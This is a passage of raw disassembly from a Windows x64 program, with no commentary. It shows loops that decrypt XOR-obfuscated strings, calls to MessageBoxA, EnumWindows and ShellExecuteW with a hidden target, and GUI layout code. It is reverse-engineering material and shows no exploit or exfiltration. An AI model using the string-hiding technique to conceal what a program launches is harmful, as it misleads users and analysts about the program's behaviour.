packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140003240
cmp r8d, 0x1b
jge 0x140003393
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140003360
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
lea rax, [rbp - 0x60]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x1400033a6
mov r8, rdi
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x58]
call fcn.140006970
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
lea rcx, [rbp + 0x58]
call fcn.140006670
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x18]
call fcn.140006580
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140003490
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000348b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034d3
call fcn.140036ec0
movdqa xmm0, xmmword [0x14003e4c0]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], r12b
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x1400034df
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140036ec0
movzx eax, word [0x1400399e0]
mov word [rsp + 0x48], ax
movsd xmm0, qword [str.lVWGkU_BYO_]
movzx eax, byte [0x1400399e2]
movsd qword [rsp + 0x40], xmm0
mov byte [rsp + 0x40], 0x58
xor byte [rsp + 0x41], 0x35
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
xor byte [rsp + 0x44], 0x38
xor byte [rsp + 0x45], 0x39
xor byte [rsp + 0x46], 0x3a
xor byte [rsp + 0x47], 0x3b
xor byte [rsp + 0x48], 0x3c
xor byte [rsp + 0x49], 0x3d
xor al, 0x3e
mov byte [rsp + 0x4a], al
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
mov r9d, 0x40
lea r8, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000359f
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000359a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035ee
call fcn.140036ec0
movdqa xmm0, xmmword [0x14003e4c0]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], r12b
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400035fa
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140036ec0
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, dword [0x14003e3d4]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, dword [0x14003e438]
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x60], 0xe
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x60], 0xb
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm8
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x140003752
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
mov dword [rbp + 0x78], 0x42700000
mov dword [rbp + 0x7c], 0x41b40000
mov rax, qword [str.PETWK_w]
mov qword [rsp + 0x50], rax
cmp byte [0x140039917], r12b
je 0x1400038e3
cmp r15d, 2
jl 0x1400038a0
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x1400038e3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [rsp + 0x50]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400038b0
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140030c20
test al, al
je 0x140003aed
movups xmm0, xmmword [str.ABGK]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [str.XTM_3m_i7]
movups xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [0x140039a48]
movups xmmword [rbp + 0x120], xmm0
movsd xmm0, qword [0x140039a58]
movsd qword [rbp + 0x130], xmm0
mov eax, dword [0x140039a60]
mov dword [rbp + 0x138], eax
mov r8d, r12d
cmp r15d, 2
jl 0x140003a77
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm7, xmmword [0x14003e540]
lea rcx, [rbp + 0x100]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x140003980
cmp r8d, 0x1e
jge 0x140003ac7
movsxd rax, r8d
lea r9, [rbp + 0x100]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x140003a90
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x100]
lea rdx, [0x1400398a0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r8, qword [0x140045a18]
mov rax, qword [r8 + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [r8 + 0x1c20]
mov dword [rax + 0x260], 0x3f800000
movss xmm0, dword [r8 + 0x1994]
mov rcx, qword [rax + 0x338]
test rcx, rcx
je 0x140003b30
mulss xmm0, dword [rcx + 0x260]
movss dword [r8 + 0x19a8], xmm0
movss dword [r8 + 0x1990], xmm0
movsxd rax, dword [r8 + 0x1d88]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1d90]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x1638], xmm0
movsxd rcx, dword [r8 + 0x1d88]
lea eax, [rcx - 1]
mov dword [r8 + 0x1d88], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1d90]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x1638], xmm0
movsxd rcx, dword [r8 + 0x1d88]
lea eax, [rcx - 1]
mov dword [r8 + 0x1d88], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1d90]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x1638], xmm0
dec dword [r8 + 0x1d88]
movsxd rax, dword [r8 + 0x1d98]
lea rcx, [rax + rax*2]
mov rdx, qword [r8 + 0x1da0]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea rax, [rax + rax*2]
lea r10, [0x140039e30]
mov r9d, dword [r10 + rax*4 + 8]
cmp dword [r10 + rax*4], 8
jne 0x140003c3e
mov eax, dword [r10 + rax*4 + 4]
cmp eax, 1
jne 0x140003c21
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1570], eax
jmp 0x140003c3e
cmp eax, 2
jne 0x140003c3e
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1570], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r9 + r8 + 0x1574], eax
dec dword [r8 + 0x1d98]
cmp r14, 0xf
jbe 0x1400064e7
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003c7b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140036ec0
jmp 0x1400064e7
movd xmm4, dword [rbp - 0x60]
cvtdq2ps xmm4, xmm4
mov rax, qword [r14 + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [r14 + 0x1c20]
movaps xmm0, xmm4
mulss xmm0, xmm7
movss xmm3, dword [0x14003e440]
subss xmm3, xmm0
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm3, xmm0
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
movss xmm7, dword [0x14003e404]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm3
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm3
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movaps xmm1, xmmword [0x14003e5b0]
movups xmmword [rbp + 0xc0], xmm1
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
mov qword [rbp + 0xb0], r12
movss xmm10, dword [0x14003e360]
mulss xmm4, xmm10
movss dword [rbp - 0x60], xmm4
movd xmm0, dword [rbp + 0x80]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm10
movss dword [rbp - 0x5c], xmm0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0xb0]
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp - 0x80]
call fcn.140031da0
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, dword [0x14003e3e0]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f8ccccd
movss xmm0, dword [rcx + 0x1994]
movss xmm9, dword [0x14003e38c]
mulss xmm0, xmm9
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x140003e53
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
movss xmm8, dword [0x14003e408]
movss xmm6, dword [0x14003e3f4]
movsd xmm0, qword [str.w_SVLJ]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140039a00]
mov dword [rsp + 0x78], eax
mov r15d, dword [0x140045088]
cmp byte [0x140039a03], r12b
je 0x140004003
mov r8d, r12d
cmp r15d, 2
jl 0x140003fb7
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.w_SVLJ]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140003fd0
movaps xmm0, xmm8
unpcklps xmm0, xmm6
movq rdx, xmm0
lea rcx, [rsp + 0x70]
call fcn.140030320
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f800000
movss xmm0, dword [rcx + 0x1994]
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x14000405b
mulss xmm0, dword [rdx + 0x260]
lea r8, [rcx + 0x19a8]
movss dword [r8], xmm0
lea rdx, [rcx + 0x1990]
movss dword [rdx], xmm0
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, dword [0x14003e448]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f8ccccd
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm9
mov rcx, qword [rax + 0x338]
movaps xmm1, xmm8
mov eax, dword [str.aA__8]
mov dword [rbp + 0x80], eax
movzx eax, byte [0x140039ac0]
test rcx, rcx
je 0x140004136
mulss xmm0, dword [rcx + 0x260]
movaps xmm2, xmm0
movss dword [r8], xmm0
movss dword [rdx], xmm2
mov byte [rbp + 0x80], 0x55
xor byte [rbp + 0x81], 0x35
xor byte [rbp + 0x82], 0x36
xor byte [rbp + 0x83], 0x37
xor al, 0x38
mov byte [rbp + 0x84], al
unpcklps xmm1, xmm6
movq rdx, xmm1
lea rcx, [rbp + 0x80]
call fcn.140030320
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
mov dword [rax + 0x260], 0x3f800000
movss xmm0, dword [rbx + 0x1994]
mov rcx, qword [rax + 0x338]
test rcx, rcx
je 0x1400041bc
mulss xmm0, dword [rcx + 0x260]
movss dword [rbx + 0x19a8], xmm0
movss dword [rbx + 0x1990], xmm0
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
movss xmm7, dword [0x14003e444]
addss xmm0, xmm7
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm8
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x70], 0xe
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x70], 0xb
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm10
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x14000431e
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
mov dword [rbp + 0x78], 0x42c80000
mov dword [rbp + 0x7c], 0x41f40000
movsd xmm0, qword [str.fPWSA]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140039ad0]
mov dword [rsp + 0x68], eax
cmp byte [0x140039ad3], r12b
je 0x1400044c3
mov r8d, r12d
cmp r15d, 2
jl 0x140004478
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fPWSA]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140004490
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x60]
call fcn.140030c20
test al, al
je 0x140004c2c
mov dword [rbp + 0x80], r12d
lea rdx, [rbp + 0x80]
lea rcx, [0x140001600]
call qword [sym.imp.USER32.dll_EnumWindows]
movups xmm0, xmmword [0x140039b00]
movups xmmword [rbp - 0x28], xmm0
movsd xmm0, qword [0x140039b10]
movsd qword [rbp - 0x18], xmm0
mov eax, dword [0x140039b18]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140039b1c]
mov word [rbp - 0xc], ax
movzx eax, byte [0x140039b1e]
mov byte [rbp - 0xa], al
mov r8d, r12d
cmp r15d, 2
jl 0x14000467d
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
